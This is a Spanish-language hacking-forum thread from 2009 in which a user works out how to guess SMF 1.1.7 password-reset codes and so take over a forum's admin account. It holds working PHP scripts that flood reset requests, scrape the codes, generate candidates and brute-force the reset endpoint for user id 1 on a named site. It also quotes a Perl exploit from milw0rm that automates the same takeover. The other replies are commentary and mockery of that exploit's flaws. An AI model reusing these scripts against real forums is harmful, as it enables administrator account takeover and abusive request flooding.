Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: OzX en 9 Enero 2009, 01:59 am



Título: Reset Admin Password 1.1.7 SMF (TEORIA)
Publicado por: OzX en 9 Enero 2009, 01:59 am
Reset Admin Password 1.1.7  SMF (TEORIA)

Al Pedir La Contraseña, Nos Entrega Via Email una Url Similar  a Esta.

http://password.esp.am/index.php?action=reminder;sa=setpassword;u=1;code=832da39b01

En Donde:

  • u = Id del Usuario
  • code = Codigo de reseteo


¿Entonces?

Si Yo Ingreso el Mail del Administrador para Poder Resetear su Contraseña, y "Adivino" El codigo de Reseteo, Podria Resetear la Contraseña del Administrador.

¿Pero Como Carajos Sabria yo el Codigo de Reseteo?

Buena pregunta, Lo Mismo me Pregunte, y Con esa Duda en mi Cerebro, inicie un Testeo de como eran los Codigos, Para Poder Obtener Algun Patron.

Codie distintos Scripts Para Poder Facilitarme el Trabajo.


Scripts Que Envia La peticion para Que el Servidor Envie el Mail de Resteo de la Contraseña.
Server de Spam :http://spamavert.com/

Ocupe Spamavert, porque asi se me hacia muxo mas facil luego poder obtener el Codigo "code"

Código:
<?
#FUNCION GET OBTIENE EL CODE SOURCE
function GET($url) {
$curl = curl_init();
$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
$header[] = "Cache-Control: max-age=0";
$header[] = "Connection: keep-alive";
$header[] = "Keep-Alive: 300";
$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
$header[] = "Accept-Language: en-us,en;q=0.5";
$header[] = "Pragma: ";
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
curl_setopt($curl, CURLOPT_AUTOREFERER, true);
curl_setopt($curl, CURLOPT_COOKIEJAR, "my_cookies.txt");
curl_setopt($curl, CURLOPT_COOKIEFILE, "my_cookies.txt");
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$html = curl_exec($curl);
curl_close($curl);
return $html;
}

function POST($mail,$sid){
$curl = curl_init();
$post = "user=".$mail."%40spamavert.com&sc=".$sid;
$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
$header[] = "Cache-Control: max-age=0";
$header[] = "Connection: keep-alive";
$header[] = "Keep-Alive: 300";
$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
$header[] = "Accept-Language: en-us,en;q=0.5";
$header[] = "Pragma: ";
curl_setopt($curl, CURLOPT_URL, "http://password.esp.am/index.php?action=reminder;sa=mail");
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
curl_setopt($curl, CURLOPT_REFERER, 'http://password.esp.am/index.php?action=reminder');
curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
curl_setopt($curl, CURLOPT_AUTOREFERER, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_COOKIEJAR, "my_cookies.txt");
curl_setopt($curl, CURLOPT_COOKIEFILE, "my_cookies.txt");
curl_setopt($curl, CURLOPT_POSTFIELDS,$post);
$result= curl_exec ($curl);
curl_close ($curl);
return $result;
}

function send_mail($mail){
$url = "http://password.esp.am/index.php?action=reminder";
preg_match_all("/hashLoginPassword\(this.*\'(.*)\'\);\">/", GET($url), $datos,  PREG_SET_ORDER);
$source = POST($mail,$datos[0][1]);
if (preg_match("/A mail has been sent to your email address/", $source)) {
echo "Email Enviado\n";
}else{
echo "ERROR\n";
}
}

$mail = $argv[1];

for ($x=1;$x<=500;$x++){
echo $x." = ";
send_mail($mail);
}




?>
Ej:
php script.php nombre_de_usuario_del_mail

Lo Cual hacia que en mi Casilla Enviara 500 peticiones De Reseteo de Contraseña.


El Segundo Script Era el de Obtener el Codigo "code" de las Casillas de Mails.

Código:
<?
#FUNCION GET OBTIENE EL CODE SOURCE
function GET($url) {
$curl = curl_init();
$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
$header[] = "Cache-Control: max-age=0";
$header[] = "Connection: keep-alive";
$header[] = "Keep-Alive: 300";
$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
$header[] = "Accept-Language: en-us,en;q=0.5";
$header[] = "Pragma: ";
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
curl_setopt($curl, CURLOPT_AUTOREFERER, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$html = curl_exec($curl);
curl_close($curl);
return $html;
}

function suma($code){
$suma = 0;
for ($x=0;$x<strlen($code);$x++){
$var = substr($code,$x,1);
if (!is_numeric($var)){
$suma +=hexdec($var);
}else{
$suma +=$var;
}
}
return $suma;
}


$mail =  $argv[1];

$host = "http://spamavert.com/";
$url = $host."/mail.php?alias=".$mail."&showIndex=1";
preg_match_all("/(mail\.php\?alias=.*&amp;ixMail=(\d*))'\"/", GET($url), $datos,  PREG_SET_ORDER); //**


for ($x=0;$x<count($datos);$x++){
$webs[] = preg_replace('/amp;/',"", $host.$datos[$x][1],1);
}
echo "[+] Mails :> ".count($webs)."\n";

foreach ($webs as $web){
preg_match_all("/code=(\w{10})\"/", GET($web), $datos,  PREG_SET_ORDER);
$valor = $datos[0][1];
echo $datos[0][1]." ".suma($valor)."\n";
}



?>


Ahora Bien lo que me Generaba En Pantalla Era:

Cita de: Codigos
9a4db8e017 77
d66a2d9181 69
e5debd2f3f 105
90fa036d6f 77
eb0fbdc58d 102
6d4b289f1e 83
a86aaeae39 94
5f911c7831 62
f67a96358a 79
12c484b448 58
1863121fbe 62
0a5d48fa55 75
fa95611eb1 73
9179662329 54
ac421d0a80 60
e1d8e03d21 69
1d2613c7fa 70
f3e72d0a70 71
5de4e72164 70
e6bb3c5aa4 86
e88a33ebd3 87


Mostraba Todos los Codigos de Reseteos, Pero eran Invalidos, porque una vez Que se vuelve a Enviar otro, el anterior ya no sirve.

Talvez se Preguntaran ¿ y ese Codigo Que esta al Costado?

e88a33ebd3 87

Pues es la "Super" Ciencia que deduje XD¡

Como Son solo Valores Hexadecimales, todos esos Tienen un Valor Numerico.

Código:
a=10;
b=11;
c=12;
d=13;
e=14;
f=15;

Por lo Cual e88a33ebd3 Si lo Descuartizamos, Seria

14+8+8+10+3+3+14+11+13+3 = 87 ¡


Por lo Cual Dije Uhm¡¡¡¡ Tengo mi Primer patron¡

Todos los Codigos Equivalen a su valor Numerico, Por lo Cual, si veo cual se Repite mas dentro de unas Determinadas Peticiones podria Obtener el Codigo Valido¡

Obtuve mil Codigos Validos , Para Obtener Algun patron y lo Que Obtuve fue que Habia un rango de Numeros que se Repetia Bastante, 70-79

Agrupe todos los Codigos en Secciones de 10

Citar
e1d8e03d21 69
1d2613c7fa 70
f3e72d0a70 71
5de4e72164 70
e6bb3c5aa4 86
e88a33ebd3 87
204c05b93b 57
f3e72d0a70 71
5de4e72164 70
e6bb3c5aa4 86

Citar
67074ecc6a 78
5b43ba896d 80
9c1a28d22d 72
24cba618c5 71
a22b423ee8 70
14f1cd9a80 73
311432ef28 53
b878399cf4 86
f5811f35ed 80
481abc32d6 70

En Conclusion, Cada 10 Peticiones Existen "SIEMPRE" Valores que Rodean 70-79

Ahora Bien para Comprovar Esto, Sume todos los Valores Que dan los Codigos, y Saque el Promedio, el Cual Magicamente Resulto en 75


Nuevamente Concluimos, Si Hacemos 10 Peticiones, y Provamos Con todas las combinaciones Posibles que den una Suma entre 70-79, o Cada 20 o 30 Peticiones de Mails, Provamos con las combinaciones posibles que sumen 75.


Por lo Cual Existira la Posibilidad, de que Obtengamos el Codigo que Genero el Server para Resetear el  Codigo del Administrador.


¿Entonces que nececitamos?

Si Deseamos Todas las Posibilidades, Tenemos que Obtener todas las combinaciones Posibles que Sumen 75, y hacer de 15 a 20 o 30 peticiones de Mail.

Codigo Que Genera  Numeros que Su Suma Sea el Valor que Nosotros queramos (echo make_code(75))

Código:
function make_code($limit){
do{
$var = "";
for ($x=1;$x<=10;$x++){
$rand = rand(0,15);
$var.=dechex($rand);
}
}while(suma($var) != $limit);
return $var;
}


Scripts Para Generar 2000 Codigos Que Sumen 75:

Código:
<?
function suma($code){
$suma = 0;
for ($x=0;$x<strlen($code);$x++){
$var = substr($code,$x,1);
if (!is_numeric($var)){
$suma +=hexdec($var);
}else{
$suma +=$var;
}
}
return $suma;
}

function make_code($limit){
do{
$var = "";
for ($x=1;$x<=10;$x++){
$rand = rand(0,15);
$var.=dechex($rand);
}
}while(suma($var) != $limit);
return $var;
}
################################################
$myFile = "db3.txt";
$fh = fopen($myFile, 'w') or die("can't open file");
$code = array("");
$rep = array("");
for ($x=1;$x<=20000;$x++){
$var = make_code(75);
if (!in_array ($var, $code)){
echo $x." : ".$var."\n";
$code[] = $var;
fwrite($fh, $var."\n");
}else{
echo "ERROR :> ".$var."\n";
$rep[]=$var;
}
}
fclose($fh);
echo count($code)."\n";
echo count($rep)."\n";
?>

Ahora bien en esta Parte fue en donde REMARCO CON ROJO RESET ADMIN PASSWORD TEORIA
Obtuve una Cantidad de casi 10.000 Codigos Que suman 75 sin ningun repetido¡, por lo cual si realizamos nuestra "Conclusión", serian 10.000.00 Peticiones y como Minimo ¡ Porque no Sabemos Cuantas combinaciones mas Podria Generar la Suma Solamente de 75¡.

Pero es Mucho Menor que el billon de posibilidades que daba un hexadecimal de 10 digitos.

Talves Sea Posible Pero es mas posible que Dosee Primero el Servidor, Que Obtener Algun Resultado

Codigo Que con una Base de Datos Comprueba Si el Codigo es Valido:

Código:
<?
function POST($code){
$curl = curl_init();

$url = "http://password.esp.am/index.php?action=reminder;sa=setpassword2 ";
$post = "passwrd1=12345&passwrd2=12345&code=".$code."&u=1&sc=022add0f601aa2f12569aa6ad95fe1bd";

$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
$header[] = "Cache-Control: max-age=0";
$header[] = "Connection: keep-alive";
$header[] = "Keep-Alive: 300";
$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
$header[] = "Accept-Language: en-us,en;q=0.5";
$header[] = "Pragma: ";
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
curl_setopt($curl, CURLOPT_AUTOREFERER, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS,$post);
$result= curl_exec ($curl);
curl_close ($curl);

if (preg_match("/<b>Password successfully set<\/b>/", $result)) {
echo "PassWord Cambiada ".$code."\n";
}else{
echo "ERROR\n";
}

}

$code = file("db2.txt");
foreach ($code as $value){
POST($value);
}

?>



donde db2.txt, es el txt con todas las combinaciones, claramente se puede utilizar mysql.


Testie Por Ultimo 30 Codigos que yo se que eran invalidos y 1 codigo valido y para mi sorpresa, sep, Funciona, Nada mas jawjawjaj Tendremos que Obtener el Codigo Valido.



Recalco Es Teoria, pero me entretuve bastante


Saludos¡
OzX
www.undersecurity.net


Título: Re: Reset Admin Password 1.1.7 SMF (TEORIA)
Publicado por: isseu en 9 Enero 2009, 02:27 am
Se nota que te entretuviste, e visto varias veces tratar de resetear la pass a traves del estos mails, pero ninguno que llegara tan lejos, pq no pones un poco del codigo de smf,


Título: Re: Reset Admin Password 1.1.7 SMF (TEORIA)
Publicado por: OzX en 9 Enero 2009, 02:29 am
Se nota que te entretuviste, e visto varias veces tratar de resetear la pass a traves del estos mails, pero ninguno que llegara tan lejos, pq no pones un poco del codigo de smf,

jawjwjawj si estuve un buen par de horas dando vueltas  :rolleyes: , pero aprendi varias cosas.
pero en "ciencia" si tu tienes TODAS las combinaciones que sumen 75, y haces 30 peticiones de mails, podrias obtener la pass xD¡, es algo extraño pero es posible.



Título: Re: Reset Admin Password 1.1.7 SMF (TEORIA)
Publicado por: WHK en 9 Enero 2009, 09:24 am
Había una falla en una versión de SMF donde si lo instalabas en un servidor con Windows este valor al azar se reducía muy poco y era fácil de crackearlo pero eso ya se reparó. En joomla, wordpress, smf, oscommerce, phpnuke etc te dan un hash junto al correo de verificación de cuenta si se te olvida, ahora el problema es cual es ese hash? por lo genral es un hash de 32 bts asi que sería como crackear un hash de md5 con valores complicados.

No le veo mucho futuro pero suerte igual  :xD


Título: Re: Reset Admin Password 1.1.7 SMF (TEORIA)
Publicado por: Dacan en 9 Enero 2009, 16:50 pm
Me lo leí completo , eres inteligente pero al final no te entendí lograste o no obtener el código.

Saludos, Dacan  :D


Título: Re: Reset Admin Password 1.1.7 SMF (TEORIA)
Publicado por: AlbertoBSD en 9 Enero 2009, 18:53 pm
@OzX

Que buena explicacion diste, la verdad hacer un estudio sobre los codigos generados y llegar a la Conclusión de que has reducido la cantidad de codigos por algunos miles de millos a explorar me parece que tiene su reconocimiento, sin embargo el metodo sigue siendo un forcebrute, lo cual despertaria sospechas a quie viera 100,000 de peticiones para ingresar un codigo.

Si lo terminas logrando en los primeros 1000 intentos seria mucha pero mucha suerte.

@Dacan

OzX solo explica la teoria de como logro reducir el rango de numeros, para asi poder limitar el force brute sin embargo siguen siendo pocas las probabilidades.

Saludos.


Título: Re: Reset Admin Password 1.1.7 SMF (TEORIA)
Publicado por: el-brujo en 9 Enero 2009, 19:07 pm
nah OzX  mejor te paso mi contraseña y acabamos antes  :xD

Es parecido a esto --> Mail Attack

SMF 1.1.6 Hack
http://foro.elhacker.net/bugs_y_exploits/smf_116_hack-t233443.0.html

es como un birtdhay attack ¿lo llaman?


Título: Re: Reset Admin Password 1.1.7 SMF (TEORIA)
Publicado por: achernar_ en 9 Enero 2009, 19:31 pm
Yo no se si está bien poner esto, pero a mi me parece copadisimo el laburo que hiciste. Da gusto venir a este boliche  ;D.

ah esa suma se llama checksum

http://es.wikipedia.org/wiki/Checksum


Título: Re: Reset Admin Password 1.1.7 SMF (TEORIA)
Publicado por: OzX en 9 Enero 2009, 21:35 pm
@WHK

Pues si existia para versiones anteriores basado en windows, pero explotaban el algoritmo que hacia random en windows. lo encontre genial XD¡.  Como decia solo es la teoria. Nunca dije que sea practico  :laugh:

@Anon
Citar
Si lo terminas logrando en los primeros 1000 intentos seria mucha pero mucha suerte.
Yeap Es Verdad¡

En el foro 4rlekinnx  dio una explicacion de como se generaba el code.
http://foro.undersecurity.net/read.php?15,679,690#msg-690

...
Citar
substr(preg_replace('/\W/', '', sha1(microtime() . mt_rand() . $dbRand . $modSettings['rand_seed'])), 0, 10);
traduciendo de maquina a humano -> es imposible saber cual es el code genrado u.u la funcion mt_rand() genera un numero random entre 0 e infinito por decirlo de alguna forma.

lo que si se puede saber es que extrae los primeros 10 digitos del codigo SHA-1 generado.


por lo cual ia tengo otro "patron". SHA-1.

De todas formas seguire investigando porque si cada vez se encuentran mas patrones se podria reducir todo a 1000 intentos.  Saludos Anon¡

@el-brujo
jajajaj pues si sale mas facil XD'


@achernar_
jejejejej
thanx brota.


#

Pues de todas formas si se logra disminuir el patron , se podria llegar a los 1000 posibles resultados, o tambien ¡ tenia otra idea es poder llegar al millon de codigos obtenidos (obutve los mil en casi 7 minutos con el script), y poder ver cuales son los codigos que mas se repiten. porque el algoritmo de rand no es perfeco y tiene q existir algun patron que se repite muxo mas. y obtener los mil numeros que mas se repitan o nose en 1 semana obtener los 10.000 de codigos y sacar los 1000mas que se repitan xD¡ aunque es bruta force neto, me entretiene bastante ajwjwajwajwjwajawjawj


Saludos :D y gracias por los comentarios




Título: Re: Reset Admin Password 1.1.7 SMF (TEORIA)
Publicado por: OzX en 9 Enero 2009, 22:05 pm
Seguire Posteando los Avanzes.

#==============================================================================#


substr(preg_replace('/\W/', '', sha1(microtime() . mt_rand() . $dbRand . $modSettings['rand_seed'])), 0, 10);

Bastante interesante...

\W = Carácter no alfanumérico. Equivale a [^A-Za-z0-9_].
sha1(microtime() =
mt_rand() = es una mejora de rand(), el cual es muxo mas rapido y genera mejor codigos q rand().
$dbRand & $modSettings['rand_seed']=  Ni idea que es pero me praecen interesante los valores que son del codigo mismo del SMF, Porque es hay donde se podria Encontrar alguna falla.


 sha1(microtime() . mt_rand() . $dbRand . $modSettings['rand_seed']))

hay 2 valores que no tengo carajo idea que hacen, $dbRand, y ModSetting, y todo eso estan dentro del sha1, PERO¡
provando un code que hize;

Muestra los Valores que den entre 70 y 79 dentro de 20 vueltas,Ocupando los Variables del sistema, microtime(), y mt_rand();
Código:
$var = substr(sha1(microtime().mt_rand()),0,10)

Código:
<?
#Coded by OzX
function suma($code){
$suma = 0;
for ($x=0;$x<strlen($code);$x++){
$var = substr($code,$x,1);
if (!is_numeric($var)){
$suma +=hexdec($var);
}else{
$suma +=$var;
}
}
return $suma;
}
#Original
#substr(preg_replace('/\W/', '', sha1(microtime() . mt_rand() . $dbRand . $modSettings['rand_seed'])), 0, 10);

for ($x=1;$x<=20;$x++){
$var = substr(sha1(microtime().mt_rand()),0,10);
if (suma($var) >=70 && suma($var) <= 79){
echo "Valor :> ".$var." : ".suma($var)."\n";
}

}
?>


20 Vueltas 5 intentos:

Citar
ozx@OzX:~$ php rand.php
Valor :> 348bf3c27b : 76
Valor :> 194548cbe5 : 73
Valor :> ac316e46ac : 78
Valor :> 6b7ca10d1a : 71
Total Valores :> 5

ozx@OzX:~$ php rand.php
Valor :> 25c4aa48f5 : 75
Valor :> 7eb9d750d0 : 79
Valor :> e23f53d564 : 70
Valor :> 7b18d51ff3 : 79
Valor :> a4e3fe112b : 75
Valor :> 472185a7dd : 70
Valor :> 8d7175883d : 73
Valor :> b0cc3fa811 : 73
Total Valores :> 9

ozx@OzX:~$ php rand.php
Valor :> b44ecf1463 : 74
Valor :> a928b98369 : 75
Valor :> 909ca07b2d : 73
Total Valores :> 4

ozx@OzX:~$ php rand.php
Valor :> c76a00fb99 : 79
Valor :> 845f559b3e : 79
Valor :> 00b1ed62bf : 73
Valor :> 4492a7d8f6 : 78
Valor :> e980ebd730 : 79
Valor :> 165a85da75 : 70
Valor :> 0dac94207e : 71
Valor :> be9ad01690 : 73
Total Valores :> 9

ozx@OzX:~$ php rand.php
Valor :> 03d9a86c79 : 77
Valor :> b1d666e1c6 : 76
Valor :> 44bf8294aa : 77
Valor :> c0782dadc2 : 79
Total Valores :> 5


Aunque Faltan los otros dos valores que no se que son , que son variables de php, pero de todas formas siguen dando ese "rango" de valores. entre 70-79.


Pues voy a testear pidiendo 10.000 codigos validos, y hacer 10.000 codigos con este scripts, viendo cuantos repetidos existen. talves por hay exista un patron mayor y q ver que codigos realmente se repiten. lo random NO EXISTEN.

Saludos¡

Fuente: http://foro.undersecurity.net/read.php?15,679,691#msg-691



Título: Re: Reset Admin Password 1.1.7 SMF (TEORIA)
Publicado por: jdc en 9 Enero 2009, 22:35 pm
ModSettings es un archivo sí mal no recuerdo... Ese archivo debe realizar algún proceso no?
 
O tal vez no tenga nada que ver, sólo trato de ayudarte a pensar xD


Título: Re: Reset Admin Password 1.1.7 SMF (TEORIA)
Publicado por: ChElAnO en 10 Enero 2009, 06:02 am

buenisimo!!! en realidad felicitaciones.

Lo malo es que no tiene mucho de utilidad debido a que el password sera enviado al mail registrado del usuario, nunca lo podras ver.  o me equivoco,?

saludos!


Título: Re: Reset Admin Password 1.1.7 SMF (TEORIA)
Publicado por: Nork en 11 Enero 2009, 00:18 am
hay que reducir posibilidades!! Buen artículo  ;)


Título: Re: Reset Admin Password 1.1.7 SMF (TEORIA)
Publicado por: Carloswaldo en 11 Enero 2009, 04:55 am
Lo malo es que no tiene mucho de utilidad debido a que el password sera enviado al mail registrado del usuario, nunca lo podras ver.  o me equivoco,?

Precisamente por eso es que está esto. xD

Si logras saber cual es la url para resetear el pass del admin pues no necesitas ver su mail.

Siempre queda el plan B (h4x0r34r hotmail y ver la url) xDD


Título: Re: Reset Admin Password 1.1.7 SMF (TEORIA)
Publicado por: isseu en 11 Enero 2009, 06:20 am
Pero pq existe esto de reducir las posibilidades, pq no es un numero el codigo una especie de numero aleatorio de 1-1000000 que se guarda en la base de datos esperando a que alguen lo sepa, y que tenga un tiempo limite?


Título: Re: Reset Admin Password 1.1.7 SMF (TEORIA)
Publicado por: AlbertoBSD en 11 Enero 2009, 07:27 am
@isseu

WTF!?!
Se nota que te entretuviste, e visto varias veces tratar de resetear la pass a traves del estos mails, pero ninguno que llegara tan lejos, pq no pones un poco del codigo de smf,

Pero pq existe esto de reducir las posibilidades, pq no es un numero el codigo una especie de numero aleatorio de 1-1000000 que se guarda en la base de datos esperando a que alguen lo sepa, y que tenga un tiempo limite?

Primero le dices que se se entretuvo mucho y despues preguntas por que.

Es cierto que es un numero pseudo-Aleatorio sin embargo en hecho de saber que la moda de la suma del numero es 75, eso te da un rango menor de números a probar.

Le nuevamente el tema, y cualquier palabra que no comprendas, ahi esta google.

Saludos.



Título: Re: Reset Admin Password 1.1.7 SMF (TEORIA)
Publicado por: jdc en 11 Enero 2009, 07:40 am
@isseu smf es un foro código abierto xD te imaginas ese número no fuera random (o pseudorandom)?
 
Sería un caos cualquiera podría saber o cambiar el pass del admin de un foro xD


Título: Re: Reset Admin Password 1.1.7 SMF (TEORIA)
Publicado por: OzX en 13 Enero 2009, 05:20 am
Pero pq existe esto de reducir las posibilidades, pq no es un numero el codigo una especie de numero aleatorio de 1-1000000 que se guarda en la base de datos esperando a que alguen lo sepa, y que tenga un tiempo limite?


el codigo se genera, y se tendria que guardar en el db en alguna parte, y luego que uno la "encuentra" se valida. por eso no puede ser cualquier codigo.




De todas formas, estaba analizando el total de combinaciones q podria dar 75 y es mas de 10.000 seguro¡ XD¡ por lo cual se me fueron las ganas a la *****, pero provar econ algun otro patron hasta que ia no se me ocurran mas cosas jejejej


Saludos¡


Título: Re: Reset Admin Password 1.1.7 SMF (TEORIA)
Publicado por: berz3k en 13 Enero 2009, 10:13 am
@Anon

forcebrute <- XDD no es bruteforce?

PD: Bastante tiempo libre OzX, pero entretenido e informativo tu research.

-berz3k.



Título: Re: Reset Admin Password 1.1.7 SMF (TEORIA)
Publicado por: OzX en 17 Enero 2009, 22:19 pm
 >:( uhmmmm.

no me gusta la trifurka ni nada  :rolleyes: bue aveces se ajwjwajwajawj.

Pero viendo algunos rss, me di cuenta de algo.


http://milw0rm.com/exploits/7735

En la parte de

Código:
sub crackeador() {
$url = $ARGV[0];
$nick = $ARGV[1];
$id = $ARGV[2] || die("Use: smf.pl -c [URL SMF] [Nick Admin] [ID
Admin] [Proxy:Puerto]\nExample: smf.pl -p
http://www.simplemachines.org/community/ dschwab9 179
www.carlosslim.com:3128\n");
my $reminder = $url."?action=reminder";
my $smf = $reminder.";sa=setpassword;u=".$id.";code=";
my $proxy = $ARGV[3];
if($proxy ne "") {
$ua->proxy(["http"], "http://".$proxy);
}

sub mail() {
my $content = HTTP::Request->new(GET => $reminder);
$contenedor = $ua->request($content)->as_string;
if ($contenedor =~ /Set-Cookie: (.*?)
/){
        print "\n[+] SESSION Detected: $1\n";
$session = $1;
} else { die "[!] SESSION could not be found!\n";}
if ($contenedor =~ /<input type="hidden" name="sc" value="(.*?)"/){
        print "\n[+] sc Detected: $1\n";
    $sc = $1;
} else { die "[!] SC could not be found!\n";}
my $req = HTTP::Request->new(POST => $reminder.';sa=mail');
  $req->content_type('application/x-www-form-urlencoded');
  $req->content('user='.$nick.'&sc='.$sc.'&=enviar');
  $req->header('Cookie' => $session);
my $res = $ua->request($req)->as_string;
if(!$res) {exit;}
print "[x]Sent!\n";

}

sub generador() {
my $password = "";
my @chars = split(" ",
    "0 1 2 3 4 5 6 7 8 9 a b c d e
    f g h i j k l m n o p q r s t
    u v w x y z");
for (my $i=0; $i < 10 ;$i++) {
    $_rand = int(rand 35);
    $password .= $chars[$_rand];
}
return $password;
}

sub brute() {
while($bucle ne "finito") {
$code = generador();
    my $fuente = $reminder.";sa=setpassword;u=".$id.";code=".$code;
    my $content = HTTP::Request->new(GET => $reminder);
    my $content = $ua->request($content)->as_string;
if ($content =~ /<input type="hidden" name="sc" value="(.*?)"/){
    $sc = $1;
} else { die "[!] SC could not be found!\n";}
if ($content =~ /Set-Cookie: (.*?)
/){
        print "\n[+] New SESSION Detected: $1\n";
$session = $1;
} else { die "[!] SESSION could not be found!\n";}
print "[+] Testing Code: ".$code."\n";
my $req = HTTP::Request->new(POST => $reminder.';sa=mail');
  $req->content_type('application/x-www-form-urlencoded');
  $req->content('passwrd1=xianur0washere&passwrd2=xianur0washere&code='.$code.'&u='.$id.'&sc='.$sc);
  $req->header('Cookie' => $session);
  $res = $ua->request($req);
  if ($res->is_success) {
     if($res->content =~ '<input type="text" name="user" size="20" value="') {
print "[-] Password Changed!\n[x] New password: xianur0washere\nUsername: $1\n";
exit;
}
} else { die "[!] HTTP response incorrect!\n";}}}

print "\n[-] Sending Mail...\n\n";
mail();
print "\n[-] Attacking code link recovery...\n";
brute();
}


analizando mejor, pues lo conozco.

Url Original:
http://xianur0.blogspot.com/2009/01/smf-destroyer-01-by-xianur0-prov8.html


bueee nose que pretende este chaval thera, pero vamos ¡ tengo tiempo para hacer esto , tiempo de vagaciones pero no para k me jodan las ideas. y aparte desarrolladas de una manera bastante mala.

habra sacado la cantidad de posibilidades que hay en un sha1, que se sacan sus primeras 10 caracteres que sean valores hexa, es mas de 1 billon de posibilidades :).

Citar
my @chars = split(" ",
    "0 1 2 3 4 5 6 7 8 9 a b c d e
    f g h i j k l m n o p q r s t
    u v w x y z");
(aki se mata con las posibilidades xD¡. ? : hex )

Saludos¡


Título: Re: Reset Admin Password 1.1.7 SMF (TEORIA)
Publicado por: Nork en 18 Enero 2009, 22:03 pm
eso más que un poc es un fuck of concept xDDD vaya copiada se ha metido... aunque viendo su poc ya puede temblar el mundo! esta misma noche me pongo a correr la aplicación que me crackeara todos los hash hexadecimales:

Citar
sub generador() {
my $password = "";
my @chars = split(" ",
    "0 1 2 3 4 5 6 7 8 9 a b c d e
    f g h i j k l m n o p q r s t
    u v w x y z");
for (my $i=0; $i < 10 ;$i++) {
    $_rand = int(rand 35);
    $password .= $chars[$_rand];
}
return $password;
}

jajja recorro de la a a la z porque es un hexadecimal h4x0r jajajajjajaj


Título: Re: Reset Admin Password 1.1.7 SMF (TEORIA)
Publicado por: Darvein en 19 Enero 2009, 06:46 am
Hey OzX, perdon por no haberte seguido en esto xD, pero veo que has avanzaso mucho bro.

Felicidades, eres muy bueno esto =)


Título: Re: Reset Admin Password 1.1.7 SMF (TEORIA)
Publicado por: shimpei en 4 Febrero 2009, 22:56 pm
claro nork es hex h4x0r o no ves que es un exploit "prov8"
XDDDDDDDDDDDDDDDDDD


Título: Re: Reset Admin Password 1.1.7 SMF (TEORIA)
Publicado por: OzX en 10 Septiembre 2020, 14:53 pm
Me faltaron un par de años para entender mejor que estaba haciendo.

Pero me quedo tranquilo sabiendo que no estaba mala la idea.  :laugh:

Código:
https://labs.f-secure.com/advisories/opencart-predictable-password-reset-tokens/
https://www.optiv.com/explore-optiv-insights/blog/testing-password-reset-token-predictability-reset-tron-burp-extension (Sequencer tool)

Me llego a dar nostalgia.

  :silbar:


Título: Re: Reset Admin Password 1.1.7 SMF (TEORIA)
Publicado por: el-brujo en 10 Septiembre 2020, 17:32 pm
¿Un par de años? jeje

Y vienes ahora, ¿después de 10 años a contarlo? Podrías haber pasado antes a saludar xD

A mi me recuerda a los ataques del tipo Blind SQL Injection.


Título: Re: Reset Admin Password 1.1.7 SMF (TEORIA)
Publicado por: WHK en 11 Septiembre 2020, 03:00 am
Apareciste! pensé que te habian abducido o algo así xD

Saludos.


Título: Re: Reset Admin Password 1.1.7 SMF (TEORIA)
Publicado por: NaNo N´RoSeS en 11 Septiembre 2020, 15:42 pm
Nooooooooooooooo aparecieron todos ?.
Tantos años jajajajaaja Oz ......... recuerdo cuando me comentaste aquello y lo revisamos alguna vez via irc jajajajaaja que tiempos aquellos.

WHK como olvidar sus entrevistas jajajaaja, muy interesantes, con personajes que entregaban mucha información relevante, entretenida etc no lo digo porque me entrevisto a mi, sino que a otros personajes con mucha connotación......te falto la entrevista a CODEBREAK que ahora que lo recuerdo, falta el y hacemos su Party Hacker jajajajajaja

